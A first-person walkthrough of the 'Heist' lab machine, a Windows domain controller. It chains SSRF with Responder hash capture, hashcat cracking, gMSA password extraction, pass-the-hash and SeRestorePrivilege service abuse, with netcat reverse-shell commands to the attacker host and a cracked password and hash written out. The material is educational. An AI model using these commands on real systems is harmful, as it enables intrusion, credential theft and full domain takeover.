Initial Reconnaissance
To begin, I kicked off a quick port scan using rustscan to identify which services were live on the target box (192.168.178.165):
rustscan -a 192.168.178.165Scan output:
Plenty of ports open, especially ones that typically suggest a Windows domain controller. At this stage, I went for a deeper scan with nmap to enumerate services and grab version info:
sudo nmap -A -sC -sV -T4 192.168.178.165 -p- --open -v -oN tcp_scan.nmapScan results:
The nmap output confirmed what I suspected — this box is running a bunch of domain services, including LDAP, Kerberos, and SMB. The machine is part of a domain called heist.offsec, and the hostname is DC01.
It also revealed some interesting HTTP services, including one on port 8080 using Python’s Werkzeug framework. That’ll be worth digging into later.
To cover more ground, I scanned the top 1000 UDP ports too:
nmap -A -sV -sC -sU 192.168.178.165 --script=*enum -oN udp_scan.nmapScan output:
The UDP scan confirmed open ports for DNS, Kerberos, NTP, and LDAP. These are all common on a DC.
Next, I ran gobuster and nikto against port 8080 to see if any directories or obvious web vulnerabilities popped up:
gobuster dir -u http://192.168.178.165:8080 -w /usr/share/wordlists/dirb/common.txt Gobuster didn’t yield any results, but nikto flagged a few minor issues like missing headers and an outdated Python version:
nikto -h http://192.168.178.165:8080Enumerating Services on the Domain Controller
With all those classic domain ports showing up, I figured it was time to check for DNS zone transfers to see if I could scoop up any domain records.
First, I tried with dig:
dig @192.168.178.165 AXFR heist.offsec┌──(kali㉿kali)-[~/Heist]
└─$ dig @192.168.178.165 AXFR heist.offsec
; <<>> DiG 9.20.4-4-Debian <<>> @192.168.178.165 AXFR heist.offsec
; (1 server found)
;; global options: +cmd
; Transfer failed.Unfortunately, that didn’t pan out — zone transfer was denied.
I then gave dnsenum a go to see if it would uncover anything:
dnsenum 192.168.178.165┌──(kali㉿kali)-[~/Heist]
└─$ dnsenum 192.168.178.165
dnsenum VERSION:1.3.1
----- 192.168.178.165 -----
Host's addresses:
__________________
Name Servers:
______________
192.168.178.165 NS record query failed: NXDOMAINStill no luck — nothing useful was returned. Looks like this domain controller isn’t leaking DNS info the easy way.
Next, I turned my attention to SMB. I attempted anonymous access using both smbclient and rpcclient:
smbclient -L 192.168.178.165 -N
rpcclient 192.168.178.165 -N┌──(kali㉿kali)-[~/Heist]
└─$ smbclient -L 192.168.178.165 -N
session setup failed: NT_STATUS_ACCESS_DENIED
┌──(kali㉿kali)-[~/Heist]
└─$ rpcclient 192.168.178.165 -N
Cannot connect to server. Error was NT_STATUS_LOGON_FAILURENo joy - access was denied in both cases. Clearly, guest access is locked down.
I then tested LDAP to see if I could pull any details without credentials:
ldapsearch -x -H 192.168.178.165 -b "dc=heist,dc=offsec"That returned an error saying I needed to bind with a valid user before performing any search. So again, no easy wins here.
At this point, it was clear the usual unauthenticated enumeration paths were all shut. So I decided to shift gears and poke around that webserver running on port 8080.
Exploring the Web Server and Exploiting SSRF with Responder
With no luck on the standard domain enumeration fronts, I turned my attention to the web app running on port 8080. Visiting it in a browser brought up a "Super Secure Web Browser" interface, which included a field to enter URLs.
Looking at the page source didn’t reveal much — no comments, no hidden fields, no JavaScript shenanigans. But the way the app functioned got me thinking it could be vulnerable to SSRF (Server-Side Request Forgery).
To test that theory, I spun up a Python HTTP server on my Kali box:
python3 -m http.server 8000Then I entered my Kali box’s IP and port into the URL field of the web interface — and bingo! The server made a request to my machine. That confirmed the app is vulnerable to SSRF.
SSRF flaws can be super handy — they let you make the target server send requests on your behalf. Sometimes, this can expose internal services or leak sensitive info.
Clicking on one of my hosted files causes the app to treat it like a subdirectory of the main site — for instance, clicking on cmdasp.aspx tries to load 192.168.178.165:8080/cmdasp.aspx, which isn’t a valid page.
However, if I include the filename directly in the URL input, the server does fetch and display the file’s contents — but it doesn’t actually run it.
So direct command execution was out, but there was another angle to try — tricking the server into authenticating with a rogue listener.
That’s where Responder comes in. By setting it up to spoof a WPAD proxy server, I could try to capture NTLM credentials when the web server makes a request to an unrecognised domain.
Here’s how I set it up:
sudo responder -I tun0 -wv Then I stopped my Python server on port 80 and submitted a request to my Kali IP using the vulnerable search bar.
After sending the request, our Responder response contains an NTLMv2 hash for the user enox.
Cracking the NetNTLMv2 Hash with Hashcat
After capturing the NTLMv2 hash for the enox user through Responder, I saved the full hash string into a file named hash.txt for cracking.
Before launching into the attack, I confirmed the correct Hashcat mode for NTLMv2 hashes by running:
hashcat --help | grep -i "NTLMv2"┌──(kali㉿kali)
└─$ hashcat --help | grep -i "NTLMv2"
5600 | NetNTLMv2 | Network Protocol
27100 | NetNTLMv2 (NT) | Network ProtocolThis returned mode 5600, which is what we’ll use for NetNTLMv2.
I then ran the following command to attempt cracking it using the well-known rockyou.txt wordlist:
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -o cracked.txtHashcat quickly cracked the password — the output file revealed the credentials as:
- Username:
enox - Password:
california
At this point, I began building a user and password list for use in other enumeration tools. I added enox as well as common domain accounts like administrator and krbtgt to a users.txt file. Likewise, I started a passwords.txt with california.
This list would help with spraying credentials across various services later — and potentially spot any password reuse by the administrator.
──(kali㉿kali)-[~/Heist]
└─$ cat users.txt
enox
administrator
krbtgt
┌──(kali㉿kali)-[~/Heist]
└─$ cat passwords.txt
californiaValidating Access with CrackMapExec and Gaining a Foothold via WinRM
Armed with a working username and password, I used CrackMapExec (CME) — or in my case, the nxc wrapper — to test access across available services on the target host.
I first tested SMB to see if the enox credentials granted any useful access:
nxc smb 192.168.178.165 -u users.txt -p passwords.txt --continue-on-successThe credentials were accepted, but I didn’t get the “Pwn3d!” message, which indicates administrative-level access. So while enox could authenticate over SMB, the account didn’t have sufficient privileges to be used for command execution or a shell.
I then tried WinRM, which is commonly used for remote management and can provide a solid foothold if the user is a member of the appropriate group:
nxc winrm 192.168.178.165 -u users.txt -p passwords.txt --continue-on-successThis time, I got the result I was hoping for — “Pwn3d!” showed up in the output, confirming that the enox account had remote access via WinRM.
With that confirmed, I proceeded to establish a session using Evil-WinRM, a powerful post-exploitation tool for Windows targets:
evil-winrm -i 192.168.178.165 -u enox -p californiaI now had an interactive PowerShell session running as enox, giving me initial access to the domain controller. From here, I could begin local enumeration and plan the next phase of privilege escalation.
Capturing the User Flag
The user flag local.txt is located in enox user’s Desktop:
Local Enumeration: User Privileges, Group Memberships, and Environment Checks
With initial access confirmed, I began a round of manual enumeration to understand the system, the domain context, and any potential privilege escalation paths available to the current user, enox.
Checking User Privileges
First, I ran whoami /priv to see which Windows privileges were enabled for this user:
whoami /privThis showed a couple of standard privileges, and one slightly more interesting one — SeMachineAccountPrivilege, which allows the user to join machines to the domain. While this isn’t immediately exploitable in most default setups, it’s something to note for later.
Group Memberships
Next, I checked which local and domain groups enox belonged to:
net user enoxThe most notable membership here is Web Admins. That might be significant — especially if there are delegated privileges tied to web server administration or Group Managed Service Accounts (gMSAs), which I’d explore later.
Stored Credentials
I then checked for any stored Windows credentials:
cmdkey /list*Evil-WinRM* PS C:\Users\enox\Documents> cmdkey /list
Currently stored credentials:
* NONE *No credentials were saved for this user.
Local Administrator Group
I wanted to know who was in the local Administrators group, just in case I could escalate to a known account:
net localgroup administrators*Evil-WinRM* PS C:\Users\enox\Documents> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.As expected for a domain controller, no unusual accounts here — just the built-in administrator and privileged domain groups.
File System Recon
I scanned the root of the C: drive for any unusual directories or loose files that might contain credentials or config files:
cmd.exe /c dir /a C:\Nothing particularly interesting stood out here — just standard system folders and a pagefile.sys.
I also listed contents under Program Files and Program Files (x86) to see if there were any third-party tools or services installed:
ls "C:\Program Files"
ls "C:\Program Files (x86)"One item stood out in Program Files: a directory called nssm-2.24. This is the Non-Sucking Service Manager, a utility for running custom services on Windows. While it’s often used in CTFs to misconfigure or abuse service permissions, I didn’t have write access to that directory or its binaries — so no easy wins there.
Checking permissions on the nssm executable and directory shows that I only have Read/Execute permissions and cannot write (no W, M, or F).
icacls "C:\program files\nssm-2.24\win64\nssm.exe"
icacls "C:\program files\nssm-2.24\win64"Network Ports and Internal Services
I checked which ports were open internally, just in case there were any services running that weren’t exposed externally:
netstat -anoThe results lined up with what I’d already seen from external scans — no new services or internal-only ports revealed.
Identifying svc_apache$ and Preparing for Domain Enumeration
While poking around user profiles, I noticed an account that hadn't shown up earlier when enumerating users:
ls C:\Users*Evil-WinRM* PS C:\users> ls
Directory: C:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/20/2021 4:25 AM Administrator
d----- 7/20/2021 4:17 AM enox
d-r--- 5/28/2021 3:53 AM Public
d----- 9/14/2021 8:27 AM svc_apache$The $ at the end of the name indicates this is a hidden domain account, and the svc_ prefix strongly suggests it’s a service account. These are often used to run background processes or services and can sometimes have elevated permissions — especially in domain environments.
Validating the Account with Kerbrute
To confirm whether this account was valid in the domain, I added svc_apache$ to my users.txt file and ran a user enumeration check using kerbrute:
/kerbrute userenum --dc 192.168.178.165 -d heist.offsec ~/Heist/users.txtSo we now know the account exists — and since it's hidden from tools like net user, it's likely a domain Group Managed Service Account (gMSA).
A Hint from the Desktop
Backtracking a bit, I recalled there was a todo.txt file on enox’s Desktop. Reading through it again, one line now stood out:
- Use group managed service account for apache [DONE]This confirmed it — the svc_apache$ account was not just a random service account, but a gMSA, which meant its credentials were centrally managed by the domain — and that opened up a potential path for privilege escalation.
Privilege Escalation Checks with PowerUp and WinPEAS
After completing some initial manual checks, I uploaded PowerUp.ps1 to the victim using evil-winrm to help automate local privilege escalation enumeration.
In my setup, I had already appended the Invoke-AllChecks command to the end of the script, so it would run automatically when executed in memory.
Running PowerUp
upload PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1However, during execution, several checks failed with Access Denied errors. This happened when the script attempted to use Get-WmiObject and Get-Service, both of which require administrative privileges to interact with the Service Control Manager.
These errors confirmed that the current user (HEIST\enox) lacked the required privileges to query or modify service configurations.
Identified DLL Hijack Opportunity
Despite the limited privileges, PowerUp did uncover one possible escalation path — a DLL hijack vulnerability.
It found that the %PATH% environment variable included a writable folder:
C:\Users\enox\AppData\Local\Microsoft\WindowsAppsThe current user had modify rights on this directory, and PowerUp suggested that placing a malicious DLL there — specifically named wlbsctrl.dll — could potentially lead to code execution if the DLL is loaded by a service or process on startup.
Here’s the relevant PowerUp output:
Check : %PATH% .dll Hijacks
AbuseFunction : Write-HijackDll -DllPath 'C:\Users\enox\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'While interesting, this required further investigation — I’d need to identify a binary or auto-starting process that attempts to load that specific DLL. Without a known trigger, this vector couldn’t be used just yet.
Running WinPEAS
To supplement PowerUp, I also uploaded and ran WinPEAS, a popular Windows post-exploitation enumeration tool:
upload winpeas.exe
.\winpeas.exeUnfortunately, WinPEAS didn’t uncover anything especially useful — no easily misconfigured services, unquoted service paths, or credential leaks.
Conclusion
At this stage, local privilege escalation as enox didn’t look promising. With limited access and nothing immediately exploitable, I decided to pivot back into domain-level enumeration — particularly with the svc_apache$ account, which seemed far more promising based on earlier findings.
Domain Enumeration Using BloodHound and Extracting gMSA Credentials
Now that I had identified svc_apache$ as a potential Group Managed Service Account (gMSA), I moved on to domain enumeration to confirm it — and to explore what privileges it might expose.
Setting Up SharpHound and BloodHound
To properly map out the domain, I used SharpHound, the data collection tool for BloodHound.
Since evil-winrm is great for basic enumeration but not ideal for large data collection, I opted to get a fully interactive shell. I uploaded nc.exe and established a reverse shell:
On the victim (within evil-winrm):
upload SharpHound.ps1
upload nc.exe
.\nc.exe 192.168.45.235 443 -e cmdOn my Kali box:
sudo rlwrap nc -lnvp 443 With the reverse shell established, I dropped into PowerShell, bypassed execution policy, and imported SharpHound:
powershell -ep bypass
. .\SharpHound.ps1Then I ran:
Invoke-BloodHound -CollectionMethod AllSharpHound gathered data and wrote a ZIP archive to the current directory. I pulled that file back to my machine using evil-winrm:
download 20250407003058_BloodHound.zip*Evil-WinRM* PS C:\Users\enox\Documents> download 20250407003058_BloodHound.zip
Info: Downloading C:\Users\enox\Documents\20250407003058_BloodHound.zip to 20250407003058_BloodHound.zip
Info: Download successful!Analysing the Graph
I loaded the archive into BloodHound, which gave me a detailed map of the domain relationships. The most interesting insight came from the “Shortest Paths to High Value Targets” query — it showed that the svc_apache$ account had permission to read the password for a gMSA.
This validated everything I’d pieced together so far.
In this case, the graph revealed something particularly interesting: the svc_apache$ account had permission to read the password of a Group Managed Service Account (gMSA).
This is a big deal.
Group Managed Service Accounts are special types of domain accounts that services use — their passwords are automatically rotated and stored securely in Active Directory, and they’re not meant to be known or accessed like regular user passwords.
However, certain users or groups can be granted permission to retrieve these passwords — and that’s exactly what BloodHound showed me. The account I was already using (enox) was part of a group called Web Admins, and that group had permission to read the gMSA password for svc_apache$.
What this meant in practical terms was:
- I could extract the password hash for
svc_apache$using built-in domain tools. - That hash could then be used to authenticate as
svc_apache$, even without knowing the plaintext password. - And if
svc_apache$had elevated privileges (which I’d soon confirm), I’d be able to move one step closer to full system compromise.
Confirming gMSA Status with PowerShell
Back in the shell, I used the following command to list any managed service accounts:
Get-ADServiceAccount -Filter * | where-object {$_.ObjectClass -eq "msDS-GroupManagedServiceAccount"}Output confirmed that svc_apache$ was indeed a gMSA, and that it was enabled.
Determining Who Can Retrieve the Password
Using PowerView, I imported the script and ran this command:
Get-ADServiceAccount -Filter {name -eq 'svc_apache'} -Properties * | Select CN,DNSHostName,DistinguishedName,MemberOf,Created,LastLogonDate,PasswordLastSet,msDS-ManagedPasswordInterval,PrincipalsAllowedToDelegateToAccount,PrincipalsAllowedToRetrieveManagedPassword,ServicePrincipalNamesThe result showed that members of the Web Admins group could retrieve the gMSA password — and as noted earlier, enox was in that group. That meant I had permission to extract the password hash from Active Directory.
We can verify that our user is in the Web Admins group:
Get-ADGroupMember 'Web Admins'PS C:\Users\enox\Documents> Get-ADGroupMember 'Web Admins'
Get-ADGroupMember 'Web Admins'
distinguishedName : CN=Naqi,CN=Users,DC=heist,DC=offsec
name : Naqi
objectClass : user
objectGUID : 82c847e5-1db7-4c00-8b06-882efb4efc6f
SamAccountName : enox
SID : S-1-5-21-537427935-490066102-1511301751-1103Extracting the gMSA NTLM Hash
To do this, I used a tool called GMSAPasswordReader.exe, which can request and decode the password hash of a gMSA account. After transferring it to the victim, I ran:
.\GMSAPasswordReader.exe --accountname 'svc_apache'This hash can be used just like a standard NTLM hash for pass-the-hash attacks.
Gaining Access as svc_apache$
With the NTLM hash in hand, I established a new session using evil-winrm with pass-the-hash:
evil-winrm -i 192.168.178.165 -u svc_apache$ -H 618DE65B979E02BA8D4118394450BA41Now I had a foothold as a domain-managed service account — one step closer to full system compromise.
Escalating to SYSTEM via SeRestorePrivilege and Service Abuse
Once I had access as svc_apache$, the first thing I checked was what privileges this account had. I ran the usual command:
whoami /privThe output showed that, among others, SeRestorePrivilege was enabled:
This particular privilege allows a user to restore files and overwrite protected system resources — a powerful capability if used correctly. Although it doesn’t give full admin rights by itself, under the right conditions it can be abused to modify Windows services or registry entries that are normally locked down.
A Helpful Script on the Desktop
In the svc_apache$ user’s Documents folder, I found a PowerShell script named EnableSeRestorePrivilege.ps1. It included comments referencing a GitHub repo — gtworek/Priv2Admin — and detailed how this privilege could be leveraged to escalate access.
From this, I learned that the attack involved modifying the ImagePath of a service — replacing it with a custom command that would be run as SYSTEM when the service starts.
*Evil-WinRM* PS C:\Users\svc_apache$\Documents> ls
Directory: C:\Users\svc_apache$\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2021 8:27 AM 3213 EnableSeRestorePrivilege.ps1Investigating SeRestorePrivilege and Abusing seclogon for SYSTEM Access
After reviewing the Priv2Admin GitHub page linked in the EnableSeRestorePrivilege.ps1 script, I came across a diagram explaining two potential methods of exploiting SeRestorePrivilege to escalate privileges. One approach relied on GUI access, but the other could be executed entirely via command line — perfect for a reverse shell environment.
The technique involves modifying a service that’s set to manual start — meaning it's not always running and can be triggered by a user when needed. The idea is to change the service’s binary path (ImagePath) to something malicious, then trigger the service to execute our payload as SYSTEM.
Searching for a Suitable Service
I attempted to list manually-started services using PowerShell and WMI:
cmd.exe /c sc queryex state=all type=service
Get-Service | findstr -i "manual"
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where { $_.StartMode -eq "manual" } | select PathName,DisplayName,NameHowever, all these methods returned Access Denied — no surprise, since I wasn’t running with administrative privileges.
Luckily, there are a few known Windows services that are both manually triggered and can be started by any authenticated user. One such service is seclogon — also known as Secondary Logon.
Validating the Service
Using the registry, I confirmed the key details about seclogon:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\seclogonKey points:
- The
Startvalue is0x3, confirming the service is set to manual start. ObjectNameisLocalSystem, meaning the service runs with SYSTEM-level privileges.- The list of
RequiredPrivilegesincludesSeRestorePrivilege— a match for our current capabilities.
I also validated the same using sc.exe:
sc.exe qc seclogonOutput confirmed all the expected values: the binary path, the run-as account, and the manual start setting.
Confirming Permissions to Start the Service
To verify that we had permission to start the service (which is critical for the exploit), I ran:
sc.exe sdshow seclogon*Evil-WinRM* PS C:\users\svc_apache$\Documents> sc.exe sdshow seclogon
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPDTLOCRRC;;;IU)(A;;CCLCSWDTLOCRRC;;;SU)(A;;CCLCSWRPDTLOCRRC;;;AU)This returned an SDDL (Security Descriptor Definition Language) string. It looks confusing at first glance, but it breaks down into access control entries. The key section is:
(A;;CCLCSWRPDTLOCRRC;;;AU)AUstands for Authenticated Users.RPis SERVICE_START, confirming that any logged-in user (like us) can start the service.
With the required privilege and start permissions in place, we had everything we needed to move forward.
Compiling and Using SeRestoreAbuse.exe
Heading over to the GitHub repository for this exploit, I cloned the project to my attacker machine and got ready to transfer the solution file (.sln) to a Windows lab environment where it could be built using Visual Studio.
Before compiling the binary, I had a quick look through the .cpp source file to better understand what the program was actually doing.
We can observe that the executable performs the following steps:
- First, it activates the SeRestorePrivilege for the current session (just like the PowerShell script we reviewed).
- Next, it modifies the seclogon registry key to set up the attack.
- Then, it adjusts the subkey’s value so that the command we supply replaces the current ImagePath, meaning when the service starts, it runs our malicious file instead of the legitimate binary.
- Finally, it launches the service using an obfuscated PowerShell command encoded with base64 via the enc switch, which essentially decodes to: Get-Service seclogon | Start-Service.
Compiling from Source
On the Windows machine, I downloaded the GitHub repository as a ZIP file.
Next, I right-clicked the .sln file and chose to open it with Visual Studio.
Once the project loaded, I opened the .cpp file from the Solution Explorer panel on the right-hand side.
Then, I set the build configuration to Release and the architecture to x64 before building the solution.
During the build process, I ran into an error, which I resolved by installing the Visual Studio 2019 Build Tools.
After that, I rebuilt the project, and the output window at the bottom confirmed that the .exe file was successfully compiled.
I copied the compiled executable over to my attacker machine, then uploaded it to the target system using the existing evil-winrm session.
*Evil-WinRM* PS C:\users\svc_apache$\Documents> upload SeRestoreAbuse.exe
Info: Uploading /home/kali/Tools/SeRestoreAbuse.exe to C:\users\svc_apache$\Documents\SeRestoreAbuse.exe
Data: 22528 bytes of 22528 bytes copied
Info: Upload successful!SYSTEM Access with a Reverse Shell
To gain a SYSTEM-level shell, I planned to use nc.exe to launch a reverse shell. I had already uploaded nc.exe to the victim earlier.
On my Kali box, I set up a listener:
rlwrap nc -lnvp 445Then, on the victim:
.\SeRestoreAbuse.exe "C:\users\svc_apache$\Documents\nc.exe 192.168.45.235 445 -e powershell.exe"PS C:\users\svc_apache$\Documents> .\SeRestoreAbuse.exe "C:\users\svc_apache$\Documents\nc.exe 192.168.45.235 445 -e powershell.exe"
.\SeRestoreAbuse.exe "C:\users\svc_apache$\Documents\nc.exe 192.168.45.235 445 -e powershell.exe"
RegCreateKeyExA result: 0
RegSetValueExA result: 0Reverse shell was successfully caught (I had to revert the lab as I attempted the GUI method first).
*Evil-WinRM* PS C:\Users\svc_apache$\Documents> .\SeRestoreAbuse.exe "C:\users\svc_apache$\Documents\nc.exe 192.168.45.155 445 -e powershell.exe"
RegCreateKeyExA result: 0
RegSetValueExA result: 0
<SNIP>┌──(kali㉿kali)-[~/Tools]
└─$ rlwrap nc -lnvp 445
listening on [any] 445 ...
connect to [192.168.45.155] from (UNKNOWN) [192.168.197.165] 49809
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
nt authority\systemRetrieving the Root Flag
Once SYSTEM access was confirmed, I navigated to the Administrator’s Desktop and grabbed the proof.txt flag:
Alternative Privilege Escalation via utilman.exe (GUI Method)
Alternative method is to use a more old-school but reliable trick: replacing utilman.exe with cmd.exe. This would allow me to open a SYSTEM-level command prompt at the login screen via Remote Desktop.
Find Utilman.exe by navigating to “C:\Windows\system32”:
*Evil-WinRM* PS C:\Windows\System32> lsRename Utilman.exe to Utilman.old and verify the filename modification:
*Evil-WinRM* PS Rename-Item -Path "C:\Windows\System32\Utilman.exe" -NewName "Utilman.old"*Evil-WinRM* PS C:\Windows\System32> Get-Item "C:\Windows\System32\Utilman.old"
Directory: C:\Windows\System32
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/28/2021 4:10 AM 113664 Utilman.oldRename cmd.exe to Ultiman.exe:
Rename-Item -Path "C:\Windows\System32\cmd.exe" -NewName "Utilman.exe"Open RDP session from Kali:
rdesktop 192.168.178.165At the login screen, press Windows + U — this opened a command prompt running as SYSTEM.
From there, I switched to PowerShell and re-used nc.exe to launch a reverse shell back to my listener:
┌──(kali㉿kali)-[~/Tools]
└─$ rlwrap nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.45.235] from (UNKNOWN) [192.168.178.165] 59891
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Administrator>whoami
whoami
nt authority\system
Retrieving the Root Flag
Once SYSTEM access was confirmed, I navigated to the Administrator’s Desktop and grabbed the proof.txt flag:
The root flag proof.txt can be obtained in the Administrator’s Desktop:
References
- https://juggernaut-sec.com/proving-grounds-heist/
- https://medium.com/@bdsalazar/proving-grounds-heist-hard-windows-active-directory-box-walkthrough-a-journey-to-9469ae735a34